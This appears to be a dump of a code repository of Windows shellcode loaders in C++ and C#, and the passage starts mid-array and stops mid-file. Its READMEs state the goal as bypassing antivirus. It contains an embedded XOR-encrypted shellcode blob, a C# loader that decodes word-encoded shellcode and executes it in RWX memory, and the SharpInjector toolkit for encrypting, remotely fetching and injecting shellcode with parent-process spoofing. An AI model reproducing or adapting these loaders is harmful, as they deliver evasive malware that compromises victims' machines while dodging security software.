d\x7b\xe8\x95\x25\xe0\xb4\x78\xf5\xf3\x9e\x9b\x92\x96\x23\x00\xfb\x61\x33\x25\xd7\x44\x68\x29\x49\xcc\xb4\xe1\xad\x66\xeb\xac\x33\x33\x61\x2c\x92\xa6\x61\xb5\xbe\x32\x61\x64\x86\xba\x87\xd5\x33\x33\x61\x8c\xcf\x96\x91\xce\x1d\x7b\x08\x33\x38\x69\x4d\x8f\xa4\xd5\x7b\x55\x01\x8a\x85\x56\x9c\xb4\x92\x22\x6b\xd6\x06\x79\xb1\x2e\x11\x1b\x45\x36\x97\x6f\x2d\xf9\x27\x1a\xde\x58\x82\x9c\x28\xfb\x0a\x5a\x47\x5e\x3a\x95\x9e\x45\x87\xce\x2e\x71\x66\x11\x44\xa4\xa2\xc6\xb4\xda\xb0\xf0\x79\x01\xa1\x4b\xa2\xa2\x6c\x08\x4d\x5a\x0f\x2c\x9c\x35\x49\x31\x67\x40\x04\x16\x40\x28\x09\x54\x5c\x47\x5b\x44\x20\x06\x14\x58\x5e\x5f\x00\x4b\x59\x47\x5e\x11\x1a\x50\x0e\x09\x1d\x08\x1a\x58\x50\x5f\x04\x5f\x4d\x24\x3d\x78\x77\x13\x59\x4a\x5d\x52\x4e\x66\x5b\x5d\x05\x0b\x1a\x1a\x4e\x7f\x66\x13\x54\x4a\x5c\x52\x4e\x65\x40\x5a\x05\x01\x03\x1d\x41\x05\x1c\x03\x5a\x44\x24\x07\x08\x5e\x62\x52\x15\x0c\x43\x58\x47\x3c\x38\x33\x1b\xe3\x8f\x91\x34\x7d\x94\xe7\x55\x9e\x46\x53\x60\x6e\x3f\x4a\xe7\x37\x40\x69\xe3\x86\xdc\xd4\x60\x11\xb2\x3e\xa5\xe0\xd7\x59\xf3\xef\x66\xec\xf6\x89\x3f\x2e\x04\x9a\x4d\x63\x28\x8f\x0c\xf5\x04\xf9\x39\x69\xee\x77\xfe\xaa\xcd\x85\x7d\x3a\xbc\x22\x48\x4e\x14\x29\x7c\x69\x7c\xa1\xb0\xe2\xa7\xc3\xa1\xfd\x39\x08\x58\x09\xd5\x19\x74\x6e\x29\xc5\xb6\x8d\x3a\x27\x52\xd4\xe4\x0b\x17\xbf\x2c\x23\xea\x0b\x2b\xd1\x28\xef\x7b\xda\x5b\x15\x29\xd6\x48\x76\x9d\x43\x7b\x41\x0e\x14\xe6\x30\xef\x6e\xbf\x3f\x9b\xf2\xbe\xd6\xbb\x5f\x67\xf9\x8e\xd0\x3d\x9a\x84\x55\xe9\xd6\x29\x08\xf9\xae\xf3\x52\x19\xfa\xf4\xf7\x5a\xcf\x79\x9d\x0a\xb1\x96\x94\xf7\xed\x72\x5b\xd8\x2b\x8c\x23\x93\x35\xcc\x3e\xe1\xc2\x4d\xd7\x05\x7b\x95\xeb\x2b\x93\xdb\xf6\xc0\xbe\x37\x64\xdd\x2a\x7a\xf7\xa0\x70\x3e\xb2\x1d\x5b\xa5\x78\x3e\x78\xa0\x50\xc1\xa1\xb2\x03\x9a\x8b\x8a\x91\xa9\x29\xae\x31\x73\x8d\x91\xd1\xcf\x3f\x91\xe4\x7a\x02\xa8\xde\x6d\x69\x2e\x31\x73\x8b\x61\x74\x6d\x69\x2f\x88\x72\x33\x61\x64\x2c\xd3\x36\x95\x61\xd6\x9e\xb1\x25\xfa\x3d\x62\x7a\xba\x86\x2c\xe4\x98\x26\xb8\xe8\x72\xd9\x64\x4d\x69\x6e\x78\xbb\xca\x20\xde\x7f\xff\xe7\xd3\xcd\xe6\x29\xe7\xa9\x49\xeb\xf1\x46\x85\x07\xef\x6a\x21\x6f\xf2\xb7\xf3\x14\xb3\x35\x31\x36\x79\x37\x33\x61\x64\x6d\x39\xad\xd9\xad\xce\x9e\x9b\x5c\x50\x5c\x1f\x03\x05\x59\x4a\x5d\x47\x5f\x02\x03\x33\x30\x6d\xd2\x04"; char key[] = "admin123"; char cipherType[] = "xor"; // Char array to host the deciphered shellcode char shellcode[sizeof encryptedShellcode]; // XOR decoding stub using the key defined above must be the same as the encoding key int j = 0; for (int i = 0; i < sizeof encryptedShellcode; i++) { if (j == sizeof key - 1) j = 0; shellcode[i] = encryptedShellcode[i] ^ key[j]; j++; } typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); pVirtualAlloc fnVirtualProtect; unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 }; unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 }; fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect); // call VirtualProtect void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); // Call the shellcode //((void(*)())exec)(); } ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute/shellcode_execute.rc ================================================ // Microsoft Visual C++ ɵԴű // #include "resource.h" #define APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE 2 Դɡ // #include "winres.h" ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // (壬й) Դ #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) LANGUAGE 4, 2 #ifdef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE // 1 TEXTINCLUDE BEGIN "resource.h\0" END 2 TEXTINCLUDE BEGIN "#include ""winres.h""\r\n" "\0" END 3 TEXTINCLUDE BEGIN "\r\n" "\0" END #endif // APSTUDIO_INVOKED #endif // (壬й) Դ ///////////////////////////////////////////////////////////////////////////// #ifndef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE 3 Դɡ // ///////////////////////////////////////////////////////////////////////////// #endif // APSTUDIO_INVOKED ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute/shellcode_execute.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {77df2be0-aec7-47ad-b5f8-114f3eb54e91} shellcodeexecute 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 MultiByte Application false v143 true MultiByte Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true false MultiThreaded Console true true true ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute/shellcode_execute.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 源文件 ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute/shellcode_execute.vcxproj.user ================================================  WindowsLocalDebugger ================================================ FILE: demo1/shellcode_execute/shellcode_execute/shellcode_execute.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.2.32519.379 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellcode_execute", "shellcode_execute\shellcode_execute.vcxproj", "{77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Debug|x64.ActiveCfg = Debug|x64 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Debug|x64.Build.0 = Debug|x64 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Debug|x86.ActiveCfg = Debug|Win32 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Debug|x86.Build.0 = Debug|Win32 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Release|x64.ActiveCfg = Release|x64 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Release|x64.Build.0 = Release|x64 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Release|x86.ActiveCfg = Release|Win32 {77DF2BE0-AEC7-47AD-B5F8-114F3EB54E91}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {1281A27F-E3AA-4335-BC13-1310F2CB94CC} EndGlobalSection EndGlobal ================================================ FILE: demo2/README.md ================================================ 使用字符串加密、异或加密、沙箱绕过方式进行bypass AV。 demo2 使用 CreateThread方式创建新进程极易被拦截,改用EtwpCreateEtwThread加载shellcode,改版的程序为demo3. ================================================ FILE: demo2/shellcode_execut3/shellcode_execut3/App.config ================================================  ================================================ FILE: demo2/shellcode_execut3/shellcode_execut3/Program.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System; using System.IO; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using System.Security.Cryptography; using System.Runtime.InteropServices; namespace RunShellCode { static class Program { private static T[] SubArray(this T[] data, int index, int length) { T[] result = new T[length]; Array.Copy(data, index, result, 0, length); return result; } private static byte[] xor(byte[] cipher, byte[] key) { byte[] decrypted = new byte[cipher.Length]; for (int i = 0; i < cipher.Length; i++) { decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]); } return decrypted; } static void Main() { string p = "puffs knives definitions offering principal peg footing thermals berths observer knives catch publication berths drive spots strings knives truths anticipation resolution occurrence cuff berths shed knives odors yaws company occurrence cuff berths polish knives odors harbor centimeter occurrence buzzes spans sets noises prefix change guess occurrence lifetimes resident differences change glances updates reliabilities specialties formation scenes cabinet facilities drive addresses friday emergency hills apples thermals airfield welds sod honor alkalinity formation bypasses conversions change airfield accumulations communications monolith telecommunication commanders occurrence friday friday similarity similarity spare twist anticipation berths observer drydocks sod certifications lamps adherence default hardcopies others experiences scope honor occurrence seeds shortages rate sponges thermocouples prefix friday surges bails others hardcopies expiration grids addresses honor ounce spare eighths drive twist prefix change guess occurrence lifetimes resident differences airfield ornaments cabinet alkalinity mules thermals point subtotal spans entrances entry vent expenditures science scratch entries sod default bypasses harbor swamps armory shortages rate sponges chimney prefix friday surges default scenes rate accumulations airfield hazard honor restrictions noises properties drive deletions knives stalls armory cuff properties expenditures sum airfield reams addresses ohms friday count entries prefix welds knives animals publication count properties feeders offering pools knives yaws auditor bails armory scenes catch centimeter airfield stalls slice merchant gyros wave principal expiration animals lifetimes subordinates settings halves pools speeders defeats share analyses resolution prefixes expenditures scenes strings hazard military boy vent bypasses researcher scenes airfields addresses answers information entries jail stones eighths mirrors facilities airfield change ditto slice lifetimes resident knives programmers grids addresses centimeter mules spots scenes airfields sprayer yaws telephone pen jail stones merchant formation centimeter airfield result defections mules stage alkalinity berths observer drydocks sponges artillery rebounds copy spots prefix reams analyses armory publication drive copy recruits ohms clock point defections auditor military peg armory balances knives military nylon chemicals evaluations result properties desert ditto prefix change guess alkalinity radios thermals alkalinity sponges swamps yaws welds mules vacuum merchant homes cash messenger alarms anticipation occurrence anticipation apprehensions hardcopies stones shipments scope share yaws drydocks eighths desert presence airfield result deletions settings apprehensions resident principal expiration glow alarms conversions evaluations stresses berths thermals airfield book pools accumulations hardcopies chimney wave deletions surges facilities professionals certifications ornaments thermals thermals berths knives glow circumstances berths programs communications expenditures berths observer nozzle spare executions gleam thermals thermals berths halves jeopardy alarms auditor jail specialties eighths speeders thermals catch entries thermocouples boy grids gleam eighths programmers shed stage sleep messenger deductions deletions glow vent count shaft acronyms occurrence sum noises telecommunications harbor prefixes ohms pails friday hazard congress circulation answers apples change state deductions addresses stresses defeats radios knob sprayer balances presence principal prefixes executions jail noises restrictions professionals telecommunications pools grids equivalents deviation deletions cavity feeders emergency occurrence shed meters commanders equivalents equivalents reliabilities speeders thermocouples radios strip knives deductions reams chimney suggestions outfit defect share nose defect addresses pull default truths knob fares pools prefix acronyms technician change sprayer artillery evaluations commanders subtotal knob sprayer telecommunications answers mirrors inspection pull specialties speeders answers change mirrors artillery share artillery thermocouples sponges buzzes settings shortages loans subtotal cash hoofs chock builders professionals fares hoofs ounce resolution answers answers builders chief professionals loans default cash truths chock builders others defect radios ounce shed lifetimes specialties polish ounce similarity lifetimes radios pools sponges analyses speeders sprayer spots chock updates glances defeat change knob welds catch thermals harbor eliminator boy auditor homes gyros gyroscope stones programmers principal adherence fans drive subordinates participation cash stones strings defect entries eliminator nozzle harness photograph drive telecommunications twist centimeter surplus result book subtotal resident slopes professionals spokes navy recruits participation noises share voices thermocouples alkalinity addresses boy glances apprehensions share congress scope entries definitions shortages damages intervals differences sleep gyros balances ditto vent routine builders technician hardcopies slice entries slice meters feeders stalls guess researcher meters tents scope speeders change pull gleam crusts adhesives subordinates hardcopies magazine auxiliaries offering balances circulation chock photograph military resolution scratch labors knives conversions rate resolution sets bails addresses slopes eighths cavity fares updates hardcopies shaft routine company puffs defeat eighths polish inspection technician odors animals slopes subordinates labors participation expiration point communications shaft anticipation artillery outfit congress round hills buzzes voices spans programmers swamps shaft hardcopies speeders congress shipments resident chock crusts footing shortage budget radios jeopardy occurrence puffs defeats sum alarms gyroscope budget clock scenes fares merchant sets halves conversions comment reams wave centimeter surges transmitter thermocouples book ounce eighths presence certifications sets comment airfields navy race communications strings observer ticket seeds properties budget cabinet mules centimeter twist specialties fares surplus settings centimeter settings cabinet mirrors ways meters twist lifetimes voices carpet stage auditor cathode hardcopies shipments suggestions copy offering auditor bails jeopardy participation auditor military properties fasteners nylon apples drydocks entries noises suggestions copy carpet berths adhesives drydocks entries publication vacuum scenes thermals berths observer knives sessions ohms presence berths shaft principal sum airfield footing buzzes spots properties spare nozzle knives military entry chemicals bypasses desert scenes peg observer thermocouples entries subordinates settings anticipation weeks prefix apples chief student stones sessions differences odors hardcopies stones cathode chimney certifications lamps adherence sleep analyses slopes armory sod friday point plating resident technician telecommunication reams suggestions ohms occurrence strings thermals berths observer drydocks scope facilities peg facilities jail principal expiration truths mirrors truths alloy lifetimes ounce subtotal cash hoofs knob artillery fasteners lifetimes thermals animals drydocks ammonia share"; string s = "evaluations shed fasteners lifetimes share ounce acronyms analyses speeders pull defeats resolution glances inspection strip telephone telecommunications formation loans technician updates nose scratch entrances crusts answers harbor similarity specialties alloy prefix sod vent conversions sponges airfield chemicals circulation addresses hardcopies seeds sets knives hazard noises publication animals suggestions expenditures thermals homes reams ohms strings catch scope balances yaws welds buzzes centimeter participation defect polish defeat pools prefixes adherence knob routine chimney cash commanders thermocouples builders information mirrors chock fans default programmers messenger monolith change subtotal radios fares truths hoofs sprayer artillery drive berths spots alkalinity observer others professionals outfit accumulations entries armory count reliabilities drydocks subordinates friday mules restrictions scenes copy adhesives company shortages settings occurrence properties eighths slice gyros science chief state spans sleep nozzle executions vacuum recruits stage carpet halves offering round boy auditor glow comment gyroscope presence alarms pails entry voices expiration deductions puffs principal cabinet meters equivalents grids surplus circumstances guess nylon cathode intervals ornaments facilities shipments defections feeders sum twist telecommunication deletions programs auxiliaries plating bypasses cuff spare anticipation ditto experiences communications labors race ways transmitter researcher magazine deviation pen weeks wave differences jail jeopardy hills bails ammonia sessions photograph gleam shaft book merchant peg cavity airfields harness ticket apples result surges stalls eliminator military honor odors stones desert swamps rate certifications spokes clock definitions slopes emergency lamps point resident shortage apprehensions navy budget rebounds congress footing stresses tents damages student"; char[] raw = { (char)0, (char)1, (char)2, (char)3, (char)4, (char)5, (char)6, (char)7, (char)8, (char)9, (char)10, (char)11, (char)12, (char)14, (char)15, (char)16, (char)17, (char)18, (char)19, (char)20, (char)21, (char)22, (char)23, (char)24, (char)25, (char)26, (char)27, (char)28, (char)29, (char)31, (char)32, (char)33, (char)34, (char)35, (char)36, (char)37, (char)38, (char)39, (char)40, (char)41, (char)42, (char)43, (char)44, (char)45, (char)46, (char)47, (char)48, (char)49, (char)50, (char)51, (char)52, (char)53, (char)54, (char)55, (char)56, (char)57, (char)58, (char)59, (char)60, (char)61, (char)62, (char)63, (char)64, (char)65, (char)67, (char)68, (char)69, (char)70, (char)71, (char)72, (char)73, (char)74, (char)75, (char)77, (char)78, (char)79, (char)80, (char)82, (char)83, (char)84, (char)85, (char)86, (char)87, (char)88, (char)89, (char)90, (char)91, (char)92, (char)93, (char)94, (char)95, (char)96, (char)97, (char)98, (char)99, (char)100, (char)101, (char)102, (char)103, (char)104, (char)105, (char)106, (char)107, (char)108, (char)109, (char)110, (char)111, (char)112, (char)113, (char)114, (char)115, (char)116, (char)118, (char)119, (char)120, (char)121, (char)122, (char)123, (char)124, (char)125, (char)126, (char)127, (char)130, (char)132, (char)133, (char)134, (char)135, (char)136, (char)137, (char)138, (char)139, (char)140, (char)141, (char)142, (char)143, (char)145, (char)146, (char)147, (char)148, (char)149, (char)150, (char)151, (char)152, (char)154, (char)155, (char)156, (char)157, (char)158, (char)160, (char)161, (char)162, (char)164, (char)165, (char)166, (char)167, (char)168, (char)169, (char)170, (char)172, (char)173, (char)174, (char)175, (char)176, (char)177, (char)178, (char)179, (char)180, (char)181, (char)182, (char)183, (char)184, (char)185, (char)186, (char)187, (char)188, (char)189, (char)190, (char)191, (char)192, (char)193, (char)194, (char)195, (char)197, (char)198, (char)201, (char)202, (char)204, (char)205, (char)206, (char)207, (char)208, (char)209, (char)210, (char)211, (char)212, (char)213, (char)214, (char)215, (char)216, (char)217, (char)218, (char)219, (char)220, (char)221, (char)222, (char)224, (char)225, (char)226, (char)227, (char)228, (char)229, (char)230, (char)231, (char)232, (char)233, (char)234, (char)235, (char)236, (char)237, (char)238, (char)239, (char)240, (char)241, (char)242, (char)243, (char)244, (char)245, (char)246, (char)247, (char)248, (char)249, (char)250, (char)251, (char)253, (char)254, (char)255 }; string[] sArray = s.Split(' '); string[] pArray = p.Split(' '); char[] ret_char = new char[pArray.Length]; int index = 0; for (int i = 0; i < pArray.Length; ++i) { for (int j = 0; j < sArray.Length; ++j) { if (pArray[i] == sArray[j]) { ret_char[index] = raw[j]; index++; } } } byte[] encryptedShellcode = new byte[ret_char.Length]; for (int k = 0; k < ret_char.Length; k++) { encryptedShellcode[k] = (byte)ret_char[k]; } string key = "admin123"; byte[] shellcode = null; shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; // Invoke the shellcode hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject [DllImport("kernel32")] private static extern UInt32 VirtualAlloc( UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect ); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); } } ================================================ FILE: demo2/shellcode_execut3/shellcode_execut3/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // 有关程序集的一般信息由以下 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 [assembly: AssemblyTitle("shellcode_execut3")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("shellcode_execut3")] [assembly: AssemblyCopyright("Copyright © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // 将 ComVisible 设置为 false 会使此程序集中的类型 //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 //请将此类型的 ComVisible 特性设置为 true。 [assembly: ComVisible(false)] // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID [assembly: Guid("adef6000-a190-4737-9a02-b236d56c86ac")] // 程序集的版本信息由下列四个值组成: // // 主版本 // 次版本 // 生成号 // 修订号 // //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 //通过使用 "*",如下所示: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: demo2/shellcode_execut3/shellcode_execut3/shellcode_execut3.csproj ================================================  Debug AnyCPU {ADEF6000-A190-4737-9A02-B236D56C86AC} Exe shellcode_execut3 shellcode_execut3 v4.7.2 512 true true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ================================================ FILE: demo2/shellcode_execut3/shellcode_execut3.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.2.32519.379 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "shellcode_execut3", "shellcode_execut3\shellcode_execut3.csproj", "{ADEF6000-A190-4737-9A02-B236D56C86AC}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {ADEF6000-A190-4737-9A02-B236D56C86AC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {ADEF6000-A190-4737-9A02-B236D56C86AC}.Debug|Any CPU.Build.0 = Debug|Any CPU {ADEF6000-A190-4737-9A02-B236D56C86AC}.Release|Any CPU.ActiveCfg = Release|Any CPU {ADEF6000-A190-4737-9A02-B236D56C86AC}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {3CAC8601-1FD3-4480-A6AB-9E809AD7890B} EndGlobalSection EndGlobal ================================================ FILE: demo3/README.md ================================================ 使用静态字符串加密,异或加密,沙箱绕过,EtwpCreateEtwThread上线的技术。 在SharpInjector的基础上,增加了shellcode的混淆。 ================================================ FILE: demo3/SharpInjector-master/.gitignore ================================================ */Debug/* */Release/* */x64/* */bin/* */obj/* .vs/* *.user ================================================ FILE: demo3/SharpInjector-master/README.md ================================================ # SharpInjector Project now has a 2nd branch, DInvoke, that implements Reprobate for D/Invoke functionality - 1/15/2022 ## Objectives * Utilize encrypted shellcode * Option to include the shellcode within the executable or download shellcode from URL * Ability to quickly switch which Windows API call is used for execution * Ability to spawn a specifed process (default: iexplore.exe) for shellcode to be injected into (for remote injection methods) * Ability to spoof the parent process (default: explorer.exe) of target process that will be injected into (for remote injection methods) ## Overview This solution has two projects: ScEncryptor and SharpInjector. The ScEncryptor project will allow you to encrypt a `.bin` file containing your shellcode. The SharpInjector project will be compiled with the resulting encrypted shellcode and inject it into memory. The shellcode the project comes with simply opens calc. ## Usage 1. Set the encryption key in ScEncryptor\Program.cs (the key must be 16/24/32 bytes) 2. Build the ScEncryptor project 3. Use the resulting executable to encrypt your shellcode: `ScEncryptor.exe C:\Temp\shellcode.bin` (The encrypted shellcode will be automatically inserted in SharpInjector\Shellycode.cs) 4. Optional: set `EncSc = ""` within SharpInjector\Shellycode.cs and instead host the shellcode string on the web. Set the `ShellcodeUrl` variable in SharpInjector\Program.cs to the URL of the `EncSc` string 5. Set the decryption key in SharpInjector\Program.cs 6. Set the `exeMethod`, `ParentName`, and `ProgramPath` variables in SharpInjector\Program.cs to desired values 7. Build the SharpInjector project (set to x64 before building) ## Execution Methods Current options for shellcode execution include the following Windows API calls: * CreateFiber * CreateRemoteThread * CreateRemoteThreadEx * CreateThread * EtwpCreateEtwThread * QueueUserAPC * RtlCreateUserThread ================================================ FILE: demo3/SharpInjector-master/ScEncryptor/App.config ================================================  ================================================ FILE: demo3/SharpInjector-master/ScEncryptor/Program.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.Security.Cryptography; namespace ScEncryptor { class Program { static void Main(string[] args) { if (args.Length != 1) { Console.WriteLine("Usage: EncryptedShellcode.exe "); Environment.Exit(1); } string PayloadPath = args[0]; byte[] Shellcode = File.ReadAllBytes(PayloadPath); string B64Shellcode = Convert.ToBase64String(Shellcode); string EncryptedShellcode = Enc(B64Shellcode); WriteShellcodeToFile(EncryptedShellcode); Console.WriteLine("[*] Shellcode encrypted within Shellycode.cs!"); Console.WriteLine("[*] Now build the injector project or remove encrypted shellcode and host it on the web"); } public static string Enc(string data) { string enc = ""; string key = "01010101010101010101010101010101"; // CHANGE THIS TO A 16/24/32 BYTE VALUE // Check byte key length; exit if not 16, 24, or 32 if (!(new[] {16,24,32}.Contains(Buffer.ByteLength(Encoding.UTF8.GetBytes(key))))) { Console.WriteLine("[!] Encryption key must be 16, 24, or 32 bytes long"); Environment.Exit(1); } byte[] iv = new byte[16]; using (Aes aes = Aes.Create()) { aes.Key = Encoding.UTF8.GetBytes(key); aes.IV = iv; ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV); using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream((Stream)ms, encryptor, CryptoStreamMode.Write)) { using (StreamWriter sw = new StreamWriter((Stream)cs)) { sw.Write(data); } byte[] arr = ms.ToArray(); enc = Convert.ToBase64String(arr); } } } return enc; } public static void WriteShellcodeToFile(string EncryptedShellcode) { string WorkingDir = Environment.CurrentDirectory; string ProjectDir = Directory.GetParent(WorkingDir).Parent.FullName; string[] lines = { "namespace SharpInjector", "{", "\tclass EncryptedShellcode", "\t{", $"\t\tpublic string EncSc = \"{EncryptedShellcode}\";", "\t}", "}" }; File.WriteAllLines($"{ProjectDir}\\..\\SharpInjector\\Shellycode.cs", lines); } } } ================================================ FILE: demo3/SharpInjector-master/ScEncryptor/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("ScEncryptor")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ScEncryptor")] [assembly: AssemblyCopyright("Copyright © 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("27780a45-fc10-4e68-a461-fcceaf2d1bd6")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: demo3/SharpInjector-master/ScEncryptor/ScEncryptor.csproj ================================================  Debug AnyCPU {27780A45-FC10-4E68-A461-FCCEAF2D1BD6} Exe ScEncryptor ScEncryptor v4.7.2 512 true true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ================================================ FILE: demo3/SharpInjector-master/SharpInjector/App.config ================================================  ================================================ FILE: demo3/SharpInjector-master/SharpInjector/CreateFiber.cs ================================================ using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Diagnostics; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Security.Cryptography; namespace SharpInjector { class CreateFiber { public static void ExecuteCreateFiber(byte[] Shellcode) { //1. Convert the main thread into a fiber with the ConvertThreadToFiber function IntPtr fiberAddr = WinAPI.ConvertThreadToFiber(IntPtr.Zero); Console.WriteLine("[*] Allocating shellcode in current process..."); //2. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write IntPtr address = WinAPI.VirtualAlloc(IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT, WinAPI.PAGE_READWRITE); //3.Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space IntPtr ShellCode_Pointer = Marshal.AllocHGlobal(Shellcode.Length); Marshal.Copy(Shellcode, 0, ShellCode_Pointer, Shellcode.Length); WinAPI.RtlCopyMemory(address, ShellCode_Pointer, Shellcode.Length); //4.Change the memory page permissions to Execute/ Read with VirtualProtect WinAPI.VirtualProtect(address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect); 